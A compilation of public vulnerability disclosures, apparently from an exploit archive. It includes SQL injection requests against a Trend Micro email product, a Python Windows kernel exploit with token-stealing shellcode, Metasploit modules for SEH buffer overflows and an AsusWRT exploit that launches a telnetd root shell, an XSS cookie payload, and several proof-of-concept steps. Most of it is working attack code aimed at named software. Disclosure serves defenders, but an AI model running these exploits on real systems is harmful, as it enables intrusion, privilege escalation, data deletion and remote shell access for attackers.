Finally, the JPostgresDataHelper class uses the ruleId parameter to
build dynamic SQL statements, as can be seen in the following extract.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:
/-----
public boolean deletePolicy(String ruleId)
{
Connection cnn = null;
Statement query = null;
boolean bSuccess = true;
try
{
cnn = MySQLClient.GetInstance().GetConnection();
cnn.setAutoCommit(false);
query = cnn.createStatement();
query.executeUpdate("DELETE FROM RulesEmailIndex WHERE
RulesEngineId = " + ruleId);
query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId
= " + ruleId);
query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId);
[...]
-----/
The ruleId parameter will be appended as-is to the DELETE statements,
resulting in a SQL injection.
The following request will cause the RulesEmailIndex, SubRuleIndex, and
RulesEngine tables to be truncated:
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1
-----/
7.13. *SQL Injection in emailSearch.jsp*
[CVE-2018-6230]
The SearchString parameter of the emailSearch.jsp script is not
sanitized, leading to a SQL injection.
As can be seen in the following excerpt, the emailSearch.jsp script
reads a parameter named SearchString and calls the getResults method
defined in the wsEmailSearch class.
From webapps/ROOT/emailSearch.jsp:
/-----
if (session.getAttribute("UserName") != null)
{
response.setContentType("text/xml");
ws.setSearchParam(request.getParameter("SearchString"));
java.util.Vector res = ws.getResults();
[...]
-----/
The searchParam property is not sanitized before being used to build a
dynamic SQL query, resulting in a SQL injection in the SELECT statement.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:
/-----
public class wsEmailSearch
{
private String _searchParam = "";
public void setSearchParam(String searchParam) { _searchParam =
searchParam; }
public Vector getResults()
{
Vector res = new Vector();
Connection cnn = MySQLClient.GetInstance().GetConnection();
try
{
Statement query = cnn.createStatement();
ResultSet rs = query.executeQuery("SELECT address FROM
RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY
address");
[...]
-----/
The following proof of concept will cause all the e-mails on the
database to be retrieved:
/-----
POST /emailSearch.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: https://server/policies.jsp
Content-Length: 39
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
SearchString=' OR '%1%'='%1
-----/
8. *Report Timeline*
2017-06-05: Core Security sent an initial notification to Trend Micro,
including a draft advisory.
2017-06-05: Trend Micro confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
2017-06-22: Core Security asked for an update on the vulnerability
reported.
2017-06-22: Trend Micro answered saying the cases are still being vetted
and that they will commit a time when the solution is finalized.
2017-08-28: Core Security asked again for an update on the vulnerability
reported.
2017-08-28: Trend Micro answered saying the team is still in the process
of creating the official fix for the vulnerabilities, although there is
still no official release date.
2017-10-02: Core Security asked again for an update on the vulnerability
reported.
2017-10-02: Trend Micro answered saying the team are still finalizing
the fix to ensure all vulnerabilities are covered.
2017-11-13: Core Security asked again (4th time) for an ETA for the
official fix. We stated we need a release date or a thorough explanation
on why after five months there is still no date defined. If there is no
such answer we will be forced to publish the advisory.
2017-11-14: Trend Micro answered saying the team is still working on two
vulnerabilities and due to the complexity and number of vulnerabilities
overall found, their team requires more time.
2018-01-16: Core Security asked again (5th time) for an ETA for the
official fix.
2018-01-23: Trend Micro answered proposing the publication date to be
February 7th.
2018-01-24: Core Security thanked Trend Micro's answer and asked if all
the vulnerabilities reported in the advisory will be addressed. In
addition, Core Security asked for CVE-IDs.
2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be
addressed and notified Core Security they will send the CVE-IDs when
have these assigned. In addition, Trend Micro sent its new PGP key.
2018-01-29: Core Security thanked Trend Micro's confirmation and agreed
on the proposed release date.
2018-01-29: Trend Micro answered saying the team found a couple of
issues during the QA test. Consequently, Trend Micro asked for
additional time to fix the remaining vulnerabilities and required a
separated disclosure time.
2018-01-29: Core Security answered its intention to report all the
vulnerabilities in just one advisory and asked for a timeline for the fix.
2018-02-01: Core Security asked for an update on the remaining
vulnerabilities.
2018-02-02: Trend Micro sent an update and requested a week extension.
2018-02-02: Core Security thanked Trend Micro's update and agreed to
postpone the release.
2018-02-14: Trend Micro answered saying the remaining vulnerabilities
will not be addressed in the patch due to its complexity; therefore,
mitigation steeps will be recommending. Also, Trend Micro proposed
February 21 as the release date.
2018-02-14: Core Security thanked Trend Micro's update and agreed on the
proposed release date.
2018-02-21: Advisory CORE-2017-0006 published.
9. *References*
[1]
http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and context
needed to manage security risks across the enterprise. This shared
insight gives customers a comprehensive view of their security posture
to make better security remediation decisions. Better insight allows
organizations to prioritize their efforts to protect critical assets,
take action sooner to mitigate access risk, and react faster if a breach
does occur.
Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
/*
Title: Armadito Antivirus - Malware Detection Bypass
Date: 21/02/2018
Author: Souhail Hammou
Author's website: http://rce4fun.blogspot.com
Vendor Homepage: http://www.teclib-edition.com/en/
Version: 0.12.7.2
CVE: CVE-2018-7289
Details:
--------
An issue was discovered in armadito-windows-driver/src/communication.c affecting Armadito 0.12.7.2 and previous versions.
Malware with filenames containing pure UTF-16 characters can bypass detection.
The user-mode service will fail to open the file for scanning after the conversion is done from Unicode to ANSI.
This happens because characters that cannot be converted from Unicode are replaced with the '?' character.
The code responsible for this issue is located in armadito-windows-driver/src/communication.c
========================================================================================================
// Convert unicode string to ansi string for ring 3 process.
ntStatus = RtlUnicodeStringToAnsiString(&AnsiString, (PCUNICODE_STRING)FilePath, TRUE);
if(!NT_SUCCESS(ntStatus)){
DbgPrint("[-] Error :: ArmaditoGuard!SendScanOrder :: RtlUnicodeStringToAnsiString() routine failed !! \n");
__leave;
}
========================================================================================================
The two examples below demonstrate the bug.
In the first case, the filename is in Arabic and in the second, the filename's first letter is the greek M (U+039C).
Original filename:
مرحبا.exe : 0645 0631 062d 0628 0627 002e 0065 0078 0065
Converted to ANSI by Armadito:
?????.exe : 3f 3f 3f 3f 3f 2e 65 78 65
=============================
Original filename:
Μalware.exe : 039c 0061 006c 0077 0061 0072 0065 002e 0065 0078 0065
Converted to ANSI by Armadito:
?alware.exe : 3f 61 6c 77 61 72 65 2e 65 78 65
See: https://github.com/armadito/armadito-windows-driver/issues/5
*/
from ctypes import *
from ctypes.wintypes import *
import struct
import sys
import os
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
STATUS_INVALID_HANDLE = 0xC0000008
shellcode_len = 90
s = “”
s += “\x65\x48\x8B\x04\x25\x88\x01\x00” #mov rax, [gs:0x188]
s += “\x00”
s += “\x48\x8B\x40\x70” #mov rax, [rax + 0x70]
s += “\x48\x8B\x98\x90\x02\x00\x00” #mov rbx, [rax + 0x290]
s += “\x48\x8B\x80\x88\x01\x00\x00” #mov rax, [rax + 0x188]
s += “\x48\x2D\x88\x01\x00\x00” #sub rax, 0x188
s += “\x48\x39\x98\x80\x01\x00\x00” #cmp [rax + 0x180], rbx
s += “\x75\xEA” #jne Loop1
s += “\x48\x89\xC1” #mov rcx, rax
s += “\xBA\x04\x00\x00\x00” #mov rdx, 0x4
s += “\x48\x8B\x80\x88\x01\x00\x00” #mov rax, [rax + 0x188]
s += “\x48\x2D\x88\x01\x00\x00” #sub rax, 0x188
s += “\x48\x39\x90\x80\x01\x00\x00” #cmp [rax + 0x180], rdx
s += “\x75\xEA” #jne Loop2
s += “\x48\x8B\x80\x08\x02\x00\x00” #mov rax, [rax + 0x208]
s += “\x48\x89\x81\x08\x02\x00\x00” #mov [rcx + 0x208], rax
s += “\x48\x31\xC0” #xor rax,rax
s += “\xc3” #ret
shellcode = s
”’
* Convert a python string to PCHAR
@Param string – the string to be converted.
@Return – a PCHAR that can be used by winapi functions.
”’
def str_to_pchar(string):
pString = c_char_p(string)
return pString
”’
* Map memory in userspace using NtAllocateVirtualMemory
@Param address – The address to be mapped, such as 0x41414141.
@Param size – the size of the mapping.
@Return – a tuple containing the base address of the mapping and the size returned.
”’
def map_memory(address, size):
temp_address = c_void_p(address)
size = c_uint(size)
proc = windll.kernel32.GetCurrentProcess()
nt_status = windll.ntdll.NtAllocateVirtualMemory(c_void_p(proc),
byref(temp_address), 0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
#The mapping failed, let the calling code know
if nt_status != 0:
return (-1, c_ulong(nt_status).value)
else:
return (temp_address, size)
”’
* Write to some mapped memory.
@Param address – The address in memory to write to.
@Param size – The size of the write.
@Param buffer – A python buffer that holds the contents to write.
@Return – the number of bytes written.
”’
def write_memory(address, size, buffer):
temp_address = c_void_p(address)
temp_buffer = str_to_pchar(buffer)
proc = c_void_p(windll.kernel32.GetCurrentProcess())
bytes_ret = c_ulong()
size = c_uint(size)
windll.kernel32.WriteProcessMemory(proc,
temp_address,
temp_buffer,
size,
byref(bytes_ret))
return bytes_ret
”’
* Get a handle to a device by its name. The calling code is responsible for
* checking the handle is valid.
@Param device_name – a string representing the name, ie \\\\.\\nxfs-net….
”’
def get_handle(device_name):
return windll.kernel32.CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
0,
None,
OPEN_EXISTING,
0,
None)
def main():
print “[+] Attempting to exploit uninitialised stack variable, this has a chance of causing a bsod!”
print “[+] Mapping the regions of memory we require”
#Try and map the first 3 critical regions, if any of them fail we exit.
address_1, size_1 = map_memory(0x14c00000, 0x1f0000)
if address_1 == -1:
print “[x] Mapping 0x610000 failed with error %x” %size_1
sys.exit(-1)
address_2, size_2 = map_memory(0x41414141, 0x100000)
if address_2 == -1:
print “[x] Mapping 0x41414141 failed with error %x” %size_2
sys.exit(-1)
address_3, size_3 = map_memory(0xbad0b0b0, 0x1000)
if address_3 == -1:
print “[x] Mapping 0xbad0b0b0 failed with error %x” %size_3
sys.exit(-1)
#this will hold our shellcode
sc_address, sc_size = map_memory(0x42424240, 0x1000)
if sc_address == -1:
print “[x] Mapping 0xbad0b0b0 failed with error %x” %sc_size
sys.exit(-1)
#Now we write certain values to those mapped memory regions
print “[+] Writing data to mapped memory…”
#the first write involves storing a pointer to our shellcode
#at offset 0xbad0b0b0+0xa8
buff = “\x40BBB” #0x42424240
bytes_written = write_memory(0xbad0b0b0+0xa8, 4, buff)
write_memory(0x42424240, shellcode_len, shellcode)
#the second write involves spraying the first memory address with pointers
#to our second mapped memory.
print “\t spraying unitialised pointer memory with userland pointers”
buff = “\x40AAA” #0x0000000041414140
for offset in range(4, size_1.value, 8):
temp_address = address_1.value + offset
write_memory(temp_address, 4, buff)
#the third write simply involves setting 0x41414140-0x18 to 0x5
#this ensures the kernel creates a handle to a TOKEN object.
print “[+] Setting TOKEN type index in our userland pointer”
buff = “\x05”
temp_address = 0x41414140-0x18
write_memory(temp_address, 1, buff)
print “[+] Writing memory finished, getting handle to first device”
handle = get_handle(“\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061”)
if handle == STATUS_INVALID_HANDLE:
print “[x] Couldn’t get handle to \\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061”
sys.exit(-1)
#if we have a valid handle, we now need to send ioctl 0x222014
#this creates a new device for which ioctl 0x222030 can be sent
in_buff = struct.pack(“<I”, 0x190) + struct.pack(“<I”, 0x1) + “AA”
in_buff = str_to_pchar(in_buff)
out_buff = str_to_pchar(“A”*0x90)
bytes_ret = c_ulong()
ret = windll.kernel32.DeviceIoControl(handle,
0x222014,
in_buff,
0x10,
out_buff,
0x90,
byref(bytes_ret),
0)
if ret == 0:
print “[x] IOCTL 0x222014 failed”
sys.exit(-1)
print “[+] IOCTL 0x222014 returned success”
#get a handle to the next device for which we can send the vulnerable ioctl.
print “[+] Getting handle to \\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”
handle = get_handle(“\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”)
if handle == STATUS_INVALID_HANDLE:
print “[x] Couldn’t get handle”
sys.exit(-1)
#this stage involves attempting to manipulate the Object argument on the stack.
#we found that making repeated calles to CreateFileA increased this value.
print “[+] Got handle to second device, now generating a load more handles”
for i in range(0, 900000):
temp_handle = get_handle(“\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”)
#coming towards the end, we send ioctl 0x222030, this has the potential to bluescreen the system.
#we don’t care about the return code.
print “[+] Sending IOCTL 0x222030”
in_buff = str_to_pchar(“A”*0x30)
out_buff = str_to_pchar(“B”*0x30)
windll.kernel32.DeviceIoControl(handle,
0x222030,
in_buff,
0x30,
out_buff,
0x30,
byref(bytes_ret),
0)
#finally, we confuse the kernel by setting our object type index to 1.
#this then points to 0xbad0b0b0, and namely 0xbad0b0b0+0xa8 for the close procedure(???)
print “[+] Setting our object type index to 1”
temp_address = 0x41414140-0x18
write_memory(temp_address, 1, “\x01”)
#The process should now exit, where the kernel will attempt to clean up our dodgy handle
#This will cause …..
if __name__ == ‘__main__’:
main()
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Disk Savvy Enterprise v10.4.18',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in Disk Savvy Enterprise v10.4.18, caused by improper bounds
checking of the request sent to the built-in server. This module
has been tested successfully on Windows 7 SP1 x86.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Teixeira'
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x02\x0a\x0d\xf8",
'Space' => 800
},
'Targets' =>
[
[ 'Disk Savvy Enterprise v10.4.18',
{
'Offset' => 124,
'Ret' => 0x10056d13
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Jan 31 2017',
'DefaultTarget' => 0))
register_options([Opt::RPORT(9124)])
end
def exploit
seh = generate_seh_record(target.ret)
connect
buffer = make_nops(target['Offset'])
buffer << seh
buffer << "\x83\xc4\x7f" * 13 #ADD esp,7fh
buffer << "\x83\xc4\x21" #ADD esp,21h
buffer << "\xff\xe4" #JMP esp
buffer << payload.encoded
buffer << Rex::Text.rand_text_alphanumeric(1)
header = "\x75\x19\xba\xab"
header << "\x03\x00\x00\x00"
header << "\x00\x40\x00\x00"
header << [buffer.length].pack("V")
header << [buffer.length].pack("V")
header << [buffer[-1].ord].pack("V")
packet = header
packet << buffer
sock.put(packet)
handler
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'CloudMe Sync v1.10.9',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in CloudMe Sync v1.10.9 client application. This module has been
tested successfully on Windows 7 SP1 x86.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hyp3rlinx', # Original exploit author
'Daniel Teixeira' # MSF module author
],
'References' =>
[
[ 'CVE', '2018-6892'],
[ 'EDB', '44027' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00",
},
'Targets' =>
[
[ 'CloudMe Sync v1.10.9',
{
'Offset' => 2232,
'Ret' => 0x61e7b7f6
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Jan 17 2018',
'DefaultTarget' => 0))
register_options([Opt::RPORT(8888)])
end
def exploit
connect
buffer = make_nops(target['Offset'])
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
sock.put(buffer)
handler
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution',
'Description' => %q{
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
perform a POST in certain cases. This can be combined with another vulnerability in
the VPN configuration upload routine that sets NVRAM configuration variables directly
from the POST request to enable a special command mode.
This command mode can then be abused by sending a UDP packet to infosvr, which is running
on port UDP 9999 to directly execute commands as root.
This exploit leverages that to start telnetd in a random port, and then connects to it.
It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],
['URL', 'http://seclists.org/fulldisclosure/2018/Jan/78'],
['CVE', '2018-5999'],
['CVE', '2018-6000']
],
'Targets' =>
[
[ 'AsusWRT < v3.0.0.4.384.10007',
{
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
}
],
],
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DisclosureDate' => 'Jan 22 2018',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(9999)
])
register_advanced_options(
[
OptInt.new('ASUSWRTPORT', [true, 'AsusWRT HTTP portal port', 80])
])
end
def exploit
# first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
# this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
post_data = Rex::MIME::Message.new
post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")
data = post_data.to_s
res = send_request_cgi({
'uri' => "/vpnupload.cgi",
'method' => 'POST',
'rport' => datastore['ASUSWRTPORT'],
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if res and res.code == 200
print_good("#{peer} - Successfully set the ateCommand_flag variable.")
else
fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
end
# ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
info_pdu_size = 512 # expected packet size, not sure what the extra bytes are
r = Random.new
ibox_comm_pkt_hdr_ex =
[0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO 0xC
[0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x15
[0x33,0x00].pack('C*') + # NET_CMD_ID_MANU_CMD 0x33
r.bytes(4) + # Info, don't know what this is
r.bytes(6) + # MAC address
r.bytes(32) # Password
telnet_port = rand((2**16)-1024)+1024
cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
pkt_syscmd =
[cmd.length,0x00].pack('C*') + # cmd length
cmd # our command
pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)
connect_udp
udp_sock.put(pkt_final) # we could process the response, but we don't care
disconnect_udp
print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
sleep(10)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
if not sock.nil?
print_good("#{peer} - Success, shell incoming!")
return handler(sock)
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
end
print_bad("#{peer} - Well that didn't work... try again?")
end
end
# Exploit Title: Oracle Primavera P6 Enterprise Project Portfolio Management HTTP Response Splitting
# Date: 16-02-2018
# Exploit Author: Marios Nicolaides - RUNESEC
# Reviewers: Simon Loizides and Nicolas Markitanis - RUNESEC
# Vendor Homepage: https://www.oracle.com
# Affected Software: Oracle Primavera P6 Enterprise Project Portfolio Management 8.3, 8.4, 15.1, 15.2, 16.1
# Tested on: Oracle Primavera P6 Enterprise Project Portfolio Management (Build: 15.1.0.0 (B0163) 14.03.2015.1305) / Oracle WebLogic 12.1.3.0.0
# CVE: CVE-2017-10046
# Category: Web Application
Overview
--------
The Oracle Primavera Project Portfolio Management application is vulnerable to HTTP
Response Splitting.
The application takes the user's input from the languageCode parameter and includes
it in the ORA-PWEB_LANGUAGE_1111 cookie value within the "Set-Cookie" HTTP Response
header. The application allows an attacker to inject LF (line feed) characters and
break out of the headers into the message body and write arbitrary content into the
application's response.
As a result, this could enable an attacker to perform Cross-Site Scripting attacks
(XSS), redirect victims to malicious websites, and poison web and browser caches.
Details
-------
The exploit can be demonstrated as follows:
1. A malicious attacker crafts the following URL:
/p6/LoginHandler?languageCode=runesec%0a%0a%0a<script>alert(document.cookie)</script>%0a
2. The attacker sends the above URL to an Oracle Primavera Project Portfolio Management application user.
3. The "malicious" JavaScript payload will execute in the victim's browser and display a popup box showing the victim's cookies.
Please note that the payload used above is for demonstration purposes only. A real attacker would try to steal the user's cookies
or perform other malicious actions.
The above exploit was tested against the following components:
Application: Oracle Primavera (Build: 15.1.0.0 (B0163) 14.03.2015.1305)
Underlying Infrastructure: Oracle WebLogic 12.1.3.0.0
Impact
------
An attacker might be able to steal the user's session cookie and/or credentials.
As a result, the attacker would be able to gain unauthorized access to the application.
Further, an attacker might be able to poison web and/or browser caches in an attempt
to perform a persistent attack.
Mitigation
----------
Apply Critical Patch Update (CPU) of July 2017 - http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
References
----------
https://blog.runesec.com/2018/02/15/oracle-primavera-http-response-splitting/
http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
https://www.cvedetails.com/cve/CVE-2017-10046/
https://nvd.nist.gov/vuln/detail/CVE-2017-10046
https://www.owasp.org/index.php/HTTP_Response_Splitting
https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)
http://projects.webappsec.org/w/page/13246931/HTTP%20Response%20Splitting
Timeline
--------
24 April 2017 - Oracle informed about the issue
July 2017 - Oracle released a patch
15 February 2018 - Exploit publicly disclosed
# Exploit Title: Aastra 6755i SIP SP4 | Unauthorized Remote Reboot
# Date: 17/02/2018
# Exploit Author: Wadeek
# Hardware Version: 6755i
# Firmware Version: 3.3.1.4053 SP4
# Vendor Homepage: http://www.aastra.sg/
# Firmware Link: http://www.aastra.sg/cps/rde/aareddownload?file_id=6950-17778-_P32_XML&dsproject=www-aastra-sg&mtype=zip
== Web Fingerprinting ==
#===========================================
:www.shodan.io: "Server: Aragorn" "WWW-Authenticate: Basic realm" "Mitel 6755i"
#===========================================
:Device image: /aastra.png (160x50)
#===========================================
:Crash dump, Firmware version, Firmware model,...: /crashlog.html
#===========================================
== PoC ==
#================================================
:Unauthorized Remote Reboot ("crash.cfg" file is created after): /confirm.html
#================================================
# Exploit Title: October CMS Stored Code Injection
# Date: 16-02-2018
# Exploit Author: Samrat Das
# Contact: http://twitter.com/Samrat_Das93
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: *https://octobercms.com/ <https://octobercms.com/>*
# Version: All versions till date from 1.0.431
# CVE : CVE- 2018-7198
# Category: WebApp CMS
1. Description
The application source code is coded in a way which allows malicious
crafted HTML commands to be executed without input validation
2. Proof of Concept
1. Visit the application
2. Visit the Add posts page
3. Goto edit function, add any html based payload and its gets stored and executed subsequently.
Proof of Concept
Steps to Reproduce:
1. Create any HTML based payload such as:
Username:<input type=text> <br>
Password: <input type=text> <br>
<button type="button">Login</button>
2. This hosted page with form action implemented upon clicked by user will lead to exfiltration of credentials apart from performing a host of other actions such as stored xss and another similiar attacks.
3. Solution:
Implement through input validation to reject unsafe html input.
/*
We have discovered a new Windows kernel memory disclosure vulnerability in the creation and copying of a CONTEXT structure to user-mode memory. Two previous bugs in the nearby code area were reported in issues #1177 and #1311 ; in fact, the problem discussed here appears to be a variant of #1177 but with a different trigger (a GetThreadContext() call instead of a generated exception).
The leak was originally detected under the following stack trace:
--- cut ---
kd> k
# ChildEBP RetAddr
00 a5d2b8f4 81ec3e30 nt!RtlpCopyLegacyContextX86+0x16e
01 a5d2b91c 82218aec nt!RtlpCopyExtendedContext+0x70
02 a5d2b96c 8213a22a nt!RtlpWriteExtendedContext+0x66
03 a5d2bd18 822176bc nt!PspGetContextThreadInternal+0x1c6
04 a5d2bd44 81fccca7 nt!NtGetContextThread+0x54
05 a5d2bd44 77a41670 nt!KiSystemServicePostCall
--- cut ---
and more specifically in the copying of the _FLOATING_SAVE_AREA structure when the CONTEXT_FLOATING_POINT flags are set:
--- cut ---
kd> dt _FLOATING_SAVE_AREA
ntdll!_FLOATING_SAVE_AREA
+0x000 ControlWord : Uint4B
+0x004 StatusWord : Uint4B
+0x008 TagWord : Uint4B
+0x00c ErrorOffset : Uint4B
+0x010 ErrorSelector : Uint4B
+0x014 DataOffset : Uint4B
+0x018 DataSelector : Uint4B
+0x01c RegisterArea : [80] UChar
+0x06c Spare0 : Uint4B
--- cut ---
In that structure, the last 32-bit "Spare0" field is left uninitialized and provided this way to the ring-3 client. The overall CONTEXT structure (which contains the FLOATING_SAVE_AREA) is allocated from the stack with an alloca() call in the nt!PspGetContextThreadInternal function:
--- cut ---
PAGE:006BA173 lea edx, [ebp+var_48]
PAGE:006BA176 mov ecx, [ebp+ContextFlags]
PAGE:006BA179 call RtlGetExtendedContextLength(x,x)
PAGE:006BA17E test eax, eax
PAGE:006BA180 js short loc_6BA140
PAGE:006BA182 mov eax, [ebp+var_48]
PAGE:006BA185 call __alloca_probe_16 <============================
PAGE:006BA18A mov [ebp+ms_exc.old_esp], esp
PAGE:006BA18D mov ecx, esp
PAGE:006BA18F mov [ebp+var_54], ecx
PAGE:006BA192 lea eax, [ebp+var_4C]
PAGE:006BA195 push eax
PAGE:006BA196 mov edx, [ebp+ContextFlags]
PAGE:006BA199 call RtlInitializeExtendedContext(x,x,x)
--- cut ---
The "Spare0" field is not pre-initialized or written to by any of the routines that fill out the FLOATING_SAVE_AREA structure. As a result, running the attached proof-of-concept program (designed for Windows 10 32-bit version 1709) reveals 4 bytes of kernel stack memory at offset 0x88 of the output region (set to the 0x41 marker with stack-spraying to illustrate the problem). An example output is as follows:
--- cut ---
00000000: 08 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................
00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 41 41 41 41 00 00 00 00 ........AAAA....
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
